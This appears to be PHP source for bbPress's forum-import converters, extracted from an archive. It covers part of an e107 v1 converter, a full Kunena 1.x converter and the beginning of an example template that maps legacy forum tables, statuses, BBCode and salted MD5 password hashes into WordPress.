	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together. That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ). $pass_array['salt'] ) );
	}

	/**
	 * Translate the forum type from e107 v1.x numerics to WordPress's strings.
	 *
	 * @param int $status e107 v1.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 0 ) {
		if ( $status == 0 ) {
			$status = 'category';
		} else {
			$status = 'forum';
		}
		return $status;
	}

	/**
	 * Translate the post status from e107 v1.x numerics to WordPress's strings.
	 *
	 * @param int $status e107 v1.x numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 1 ) {
		switch ( $status ) {
			case 0 :
				$status = 'closed';
				break;

			case 1 :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from e107 v1.x numerics to WordPress's strings.
	 *
	 * @param int $status e107 v1.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 2 :
				$status = 'super-sticky'; // e107 Announcement Sticky 'thread_s = 2'
				break;

			case 1 :
				$status = 'sticky';       // e107 Sticky 'thread_s = 1'
				break;

			case 0 :
			default :
				$status = 'normal';       // e107 normal topic 'thread_s = 0'
				break;
		}
		return $status;
	}

	/**
	 * Verify the topic/reply count.
	 *
	 * @param int $count e107 v1.x topic/reply counts
	 * @return string WordPress safe
	 */
	public function callback_topic_reply_count( $count = 1 ) {
		$count = absint( (int) $count - 1 );
		return $count;
	}

	/**
	 * Override the `callback_user` function in 'converter.php' for custom e107v1 imports
	 *
	 * A mini cache system to reduce database calls to user ID's
	 *
	 * @param string $field
	 * @return string
	 */
	protected function callback_e107v1_userid( $field ) {

		// Strip only the user id from the topic and reply authors
		$field = preg_replace( '/(\d+?)+\.[\S\s]+/', '$1', $field );

		if ( ! isset( $this->map_userid[ $field ] ) ) {
			if ( ! empty( $this->sync_table ) ) {
				$row = $this->wpdb->get_row( $this->wpdb->prepare( "SELECT value_id, meta_value FROM {$this->sync_table_name} WHERE meta_key = %s AND meta_value = %s LIMIT 1", '_bbp_old_user_id', $field ) );
			} else {
				$row = $this->wpdb->get_row( $this->wpdb->prepare( "SELECT user_id AS value_id FROM {$this->wpdb->usermeta} WHERE meta_key = %s AND meta_value = %s LIMIT 1", '_bbp_old_user_id', $field ) );
			}

			if ( ! is_null( $row ) ) {
				$this->map_userid[ $field ] = $row->value_id;
			} else {
				if ( true === $this->convert_users ) {
					$this->map_userid[ $field ] = 0;
				} else {
					$this->map_userid[ $field ] = $field;
				}
			}
		}
		return $this->map_userid[ $field ];
	}

	/**
	 * This callback processes any custom parser.php attributes and custom code with preg_replace
	 */
	protected function callback_html( $field ) {

		// Strips custom e107v1 'magic_url' and 'bbcode_uid' first from $field before parsing $field to parser.php
		$e107v1_markup = $field;
		$e107v1_markup = html_entity_decode( $e107v1_markup );

		// Replace '[blockquote]' with '<blockquote>'
		$e107v1_markup = preg_replace( '/\[blockquote\]/',   '<blockquote>',  $e107v1_markup );
		// Replace '[/blockquote]' with '</blockquote>'
		$e107v1_markup = preg_replace( '/\[\/blockquote\]/', '</blockquote>', $e107v1_markup );

		// Replace '[quote$1=$2]' with '<em>$2 wrote:</em><blockquote>"
		$e107v1_markup = preg_replace( '/\[quote(.*?)=(.*?)\]/', '<em>@$2 wrote:</em><blockquote>', $e107v1_markup );
		// Replace '[/quote$1]' with '</blockquote>"
		$e107v1_markup = preg_replace( '/\[\/quote(.*?)\]/' ,    '</blockquote>',                   $e107v1_markup );

		// Remove '[justify]'
		$e107v1_markup = preg_replace( '/\[justify\]/',   '', $e107v1_markup );
		// Remove '[/justify]'
		$e107v1_markup = preg_replace( '/\[\/justify\]/', '', $e107v1_markup );

		// Replace '[link=(https|http)://$2]$3[/link]' with '<a href="$1://$2">$3</a>'
		$e107v1_markup = preg_replace( '/\[link\=(https|http)\:\/\/(.*?)\](.*?)\[\/link\]/i',  '<a href="$1://$2">$3</a>',  $e107v1_markup );

		// Replace '[list=(decimal|lower-roman|upper-roman|lower-alpha|upper-alpha)]' with '[list]'
		$e107v1_markup = preg_replace( '/\[list\=(decimal|lower-roman|upper-roman|lower-alpha|upper-alpha)\]/i',  '[list]',  $e107v1_markup );

		// Replace '[youtube]$1[/youtube]' with '$1"
		$e107v1_markup = preg_replace( '/\[youtube\](.*?)\[\/youtube\]/', 'https://youtu.be/$1', $e107v1_markup );

		// Now that e107v1 custom HTML has been stripped put the cleaned HTML back in $field
		$field = $e107v1_markup;

		// Parse out any bbCodes in $field with the BBCode 'parser.php'
		return parent::callback_html( $field );
	}
}
includes/admin/converters/Kunena1.php000066600000035364151771460310013673 0ustar00<?php

/**
 * bbPress Kunena 1.x Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of Kunena v1.x Forums for Joomla Forum converter.
 *
 * @since 2.5.0 bbPress (r5144)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/kunena/
 */
class Kunena1 extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'parent',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'numTopics',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'numPosts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Includes unpublished topics, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'numTopics',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_topic_count'
		);

		// Forum total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'numPosts',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_categories',
			'from_fieldname' => 'ordering',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Category = 0 or Forum > 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'parent',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Open = 0 or Closed = 1, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_categories',
			'from_fieldname'  => 'locked',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_status',
			'callback_method' => 'callback_forum_status'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_messages',
			'from_fieldname' => 'thread',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'catid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'userid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic Author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'ip',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		// Note: We join the 'kunena_messages_text' table because 'kunena_messages' table does not include topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages_text',
			'from_fieldname'  => 'message',
			'join_tablename'  => 'kunena_messages',
			'join_type'       => 'INNER',
			'join_expression' => 'ON kunena_messages_text.mesid = kunena_messages.id WHERE kunena_messages.parent = 0',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'kunena_messages',
			'from_fieldname' => 'subject',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'subject',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'catid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		// Topic status (Open or Closed, Kunena v3.x 0=open & 1=closed)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'locked',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		/** Tags Section ******************************************************/

		/**
		 * Kunena v1.x Forums do not support topic tags out of the box
		 */

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_messages',
			'from_fieldname' => 'id',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'catid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'thread',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'kunena_messages',
			'from_fieldname' => 'ip',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'userid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply content.
		// Note: We join the 'kunena_messages_text' table because 'kunena_messages' table does not include reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages_text',
			'from_fieldname'  => 'message',
			'join_tablename'  => 'kunena_messages',
			'join_type'       => 'INNER',
			'join_expression' => 'ON kunena_messages.id = kunena_messages_text.mesid WHERE kunena_messages.parent != 0',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'thread',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'kunena_messages',
			'from_fieldname'  => 'time',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		//Note: We are importing the Joomla User details and the Kunena v1.x user profile details.

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'id',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
//		$this->field_map[] = array(
//			'from_tablename' => 'user',
//			'from_fieldname' => 'salt',
//			'to_type'        => 'user',
//			'to_fieldname'   => ''
//		);

		// User password verify class (Stored in usermeta for verifying password)
//		$this->field_map[] = array(
//			'to_type'      => 'user',
//			'to_fieldname' => '_bbp_class',
//			'default'      => 'Kunena1'
//		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'username',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'users',
			'from_fieldname'  => 'registerDate',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass($field, $row) {
		$pass_array = array('hash' => $field, 'salt' => $row['salt']);
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass($password, $serialized_pass) {
		$pass_array = unserialize($serialized_pass);
		return ( $pass_array['hash'] == md5(md5($password) . $pass_array['salt']) );
	}

	/**
	 * Translate the forum type from Kunena v1.x numerics to WordPress's strings.
	 *
	 * @param int $status Kunena v1.x numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_forum_type( $status = 0 ) {
		if ( $status == 0 ) {
			$status = 'category';
		} else {
			$status = 'forum';
		}
		return $status;
	}

	/**
	 * Translate the forum status from Kunena v1.x numerics to WordPress's strings.
	 *
	 * @param int $status Kunena v1.x numeric forum status
	 * @return string WordPress safe
	 */
	public function callback_forum_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'open';
				break;
		}
		return $status;
	}

	/**
	 * Translate the post status from Kunena v1.x numerics to WordPress's strings.
	 *
	 * @param int $status Kunena v1.x numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}
}
includes/admin/converters/Example.php000066600000052752151771460310013764 0ustar00<?php

/**
 * bbPress Example Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Example converter base impoprter template for bbPress
 *
 * @since 2.3.0 bbPress (r4689)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/custom-import
 */
class Example extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Setup table joins for the forum section at the base of this section

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums_table',
			'from_fieldname'  => 'the_forum_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums_table',
			'from_fieldname'  => 'the_parent_id',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums_table',
			'from_fieldname' => 'the_topic_count',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums_table',
			'from_fieldname' => 'the_reply_count',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum total topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums_table',
			'from_fieldname' => 'the_total_topic_count',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_topic_count'
		);

		// Forum total reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums_table',
			'from_fieldname' => 'the_total_reply_count',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_total_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename'  => 'forums_table',
			'from_fieldname'  => 'the_forum_title',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_title'
		);

		// Forum slug (Clean name to avoid confilcts)
		$this->field_map[] = array(
			'from_tablename'  => 'forums_table',
			'from_fieldname'  => 'the_forum_slug',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forums_table',
			'from_fieldname'  => 'the_forum_description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename'  => 'forums_table',
			'from_fieldname'  => 'the_forum_order',
			'to_type'         => 'forum',
			'to_fieldname'    => 'menu_order'
		);

		// Forum type (Category = 0 or Forum = 1, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums_table',
			'from_fieldname'  => 'the_forum_type',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_forum_type',
			'callback_method' => 'callback_forum_type'
		);

		// Forum status (Unlocked = 0 or Locked = 1, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums_table',
			'from_fieldname'  => 'the_forum_status',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_status',
			'callback_method' => 'callback_forum_status'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_date',
			'default' => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_date_gmt',
			'default' => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_modified',
			'default' => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_modified_gmt',
			'default' => date('Y-m-d H:i:s')
		);

		// Setup the table joins for the forum section
		$this->field_map[] = array(
			'from_tablename'  => 'groups_table',
			'from_fieldname'  => 'forum_id',
			'join_tablename'  => 'forums_table',
			'join_type'       => 'INNER',
			'join_expression' => 'USING groups_table.forum_id = forums_table.forum_id',
		//	'from_expression' => 'WHERE forums_table.forum_id != 1',
			'to_type'         => 'forum'
		);

		/** Forum Subscriptions Section ***************************************/

		// Subscribed forum ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_subscriptions_table',
			'from_fieldname'  => 'the_forum_id',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => '_bbp_forum_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_subscriptions_table',
			'from_fieldname'  => 'the_user_id',
			'to_type'         => 'forum_subscriptions',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Topic Section *****************************************************/

		// Setup table joins for the topic section at the base of this section

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_reply_count',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_total_topic_reply_count',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_parent_forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_author_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_author_ip_address',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_content',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_title',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_slug',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic status (Open or Closed)
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_status',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_parent_forum_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_sticky_status',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_creation_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_creation_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_modified_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_modified_date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_modified_date',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		// Setup any table joins needed for the topic section
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_topic_id',
			'join_tablename'  => 'topics_table',
			'join_type'       => 'INNER',
			'join_expression' => 'USING replies_table.the_topic_id = topics_table.the_topic_id',
			'from_expression' => 'WHERE forums_table.the_topic_id = 0',
			'to_type'         => 'topic'
		);

		/** Tags Section ******************************************************/

		// Setup table joins for the tag section at the base of this section
		// Setup any table joins needed for the tags section
		$this->field_map[] = array(
			'from_tablename'  => 'tag_table',
			'from_fieldname'  => 'the_topic_id',
			'join_tablename'  => 'tagcontent_table',
			'join_type'       => 'INNER',
			'join_expression' => 'USING tagcontent_table.tag_id = tags_table.tag_id',
			'from_expression' => 'WHERE tagcontent_table.tag_id = tag_table.tag_id',
			'to_type'         => 'tags'
		);

		// Topic id.
		$this->field_map[] = array(
			'from_tablename'  => 'tagcontent_table',
			'from_fieldname'  => 'contentid',
			'to_type'         => 'tags',
			'to_fieldname'    => 'objectid',
			'callback_method' => 'callback_topicid'
		);

		// Taxonomy ID.
		$this->field_map[] = array(
			'from_tablename'  => 'tagcontent_table',
			'from_fieldname'  => 'tagid',
			'to_type'         => 'tags',
			'to_fieldname'    => 'taxonomy'
		);

		// Term text.
		$this->field_map[] = array(
			'from_tablename'  => 'tag_table',
			'from_fieldname'  => 'tagtext',
			'to_type'         => 'tags',
			'to_fieldname'    => 'name'
		);

		// Term slug.
		$this->field_map[] = array(
			'from_tablename'  => 'tag_table',
			'from_fieldname'  => 'tagslug',
			'to_type'         => 'tags',
			'to_fieldname'    => 'slug',
			'callback_method' => 'callback_slug'
		);

		// Term description.
		$this->field_map[] = array(
			'from_tablename'  => 'tag_table',
			'from_fieldname'  => 'tagdescription',
			'to_type'         => 'tags',
			'to_fieldname'    => 'description'
		);

		/** Topic Subscriptions Section ***************************************/

		// Subscribed topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topic_subscriptions_table',
			'from_fieldname'  => 'the_topic_id',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => '_bbp_subscriptions'
		);

		// Subscribed user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'topic_subscriptions_table',
			'from_fieldname'  => 'the_user_id',
			'to_type'         => 'topic_subscriptions',
			'to_fieldname'    => 'user_id',
